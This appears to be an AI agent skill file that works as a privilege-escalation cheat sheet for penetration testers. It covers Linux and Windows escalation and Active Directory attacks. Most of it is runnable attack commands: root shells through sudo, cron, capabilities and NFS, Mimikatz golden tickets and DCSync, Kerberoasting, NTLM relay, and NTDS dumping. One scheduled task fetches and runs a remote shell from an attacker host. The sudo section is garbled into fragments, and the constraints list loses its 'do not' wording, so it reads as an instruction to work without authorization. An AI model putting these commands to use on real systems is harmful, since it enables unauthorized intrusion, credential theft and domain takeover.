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privilege-escalation-methods This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
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name Privilege Escalation Methods description This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems. metadata {"author":"zebbern","version":"1.1"}
Privilege Escalation Methods
Purpose
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
Inputs/Prerequisites
Initial low-privilege shell access on target system
Kali Linux or penetration testing distribution
Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
Understanding of Windows/Linux privilege models
For AD attacks: Domain user credentials and network access to DC
Outputs/Deliverables
Root or Administrator shell access
Extracted credentials and hashes
Persistent access mechanisms
Domain compromise (for AD environments)
Core Techniques
Linux Privilege Escalation
1. Abusing Sudo Binaries
Exploit misconfigured sudo permissions using GTFOBins techniques:
sudo -l
sudo vim -c
find /etc/passwd - /bin/bash \;
awk
python -c
perl -e
less /etc/hosts
man man
/bin/bash
':!/bin/bash'
sudo
exec
sudo
'BEGIN {system("/bin/bash")}'
sudo
'import pty;pty.spawn("/bin/bash")'
sudo
'exec "/bin/bash";'
sudo
sudo
sudo
env
2. Abusing Scheduled Tasks (Cron)
ls -la /etc/cron*
cat /etc/crontab
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
/bin/bash -p
3. Abusing Capabilities
getcap -r / 2>/dev/null
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
showmount -e <victim_ip>
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. MySQL Running as Root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
Windows Privilege Escalation
1. Token Impersonation # Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. Service Abuse # Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. Abusing SeBackupPrivilege import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. Abusing SeLoadDriverPrivilege # Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. Abusing GPO .\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"
Active Directory Attacks
1. Kerberoasting
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
3. Golden Ticket # DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket .\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket
5. Golden Ticket with Scheduled Tasks # 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
Credential Harvesting
LLMNR Poisoning
responder -I eth1 -v
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM Relay responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
Dumping with VSS vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
Quick Reference Technique OS Domain Required Tool Sudo Binary Abuse Linux No GTFOBins Cron Job Exploit Linux No Manual Capability Abuse Linux No getcap NFS no_root_squash Linux No mount Token Impersonation Windows No SweetPotato Service Abuse Windows No PowerUp Kerberoasting Windows Yes Rubeus/Impacket AS-REP Roasting Windows Yes Rubeus Golden Ticket Windows Yes Mimikatz Pass-the-Ticket Windows Yes Rubeus DCSync Windows Yes Mimikatz LLMNR Poisoning Windows Yes Responder
Constraints
Have initial shell access before attempting escalation
Verify target OS and environment before selecting technique
Use appropriate tool for domain vs local escalation
Attempt techniques on production systems without authorization
Leave persistence mechanisms without client approval
Ignore detection mechanisms (EDR, SIEM)
Enumerate thoroughly before exploitation
Document all successful escalation paths
Clean up artifacts after engagement
Examples
Example 1: Linux Sudo to Root
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups =0(root)
Example 2: Windows Kerberoasting
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
$ hashcat -m 13100 hashes.txt rockyou.txt
Troubleshooting Issue Solution sudo -l requires password Try other enumeration (SUID, cron, capabilities) Mimikatz blocked by AV Use Invoke-Mimikatz or SafetyKatz Kerberoasting returns no hashes Check for service accounts with SPNs Token impersonation fails Verify SeImpersonatePrivilege is present NFS mount fails Check NFS version compatibility (vers=2,3,4)
Additional Resources For detailed enumeration scripts, use:
LinPEAS : Linux privilege escalation enumeration
WinPEAS : Windows privilege escalation enumeration
BloodHound : Active Directory attack path mapping
GTFOBins : Unix binary exploitation reference
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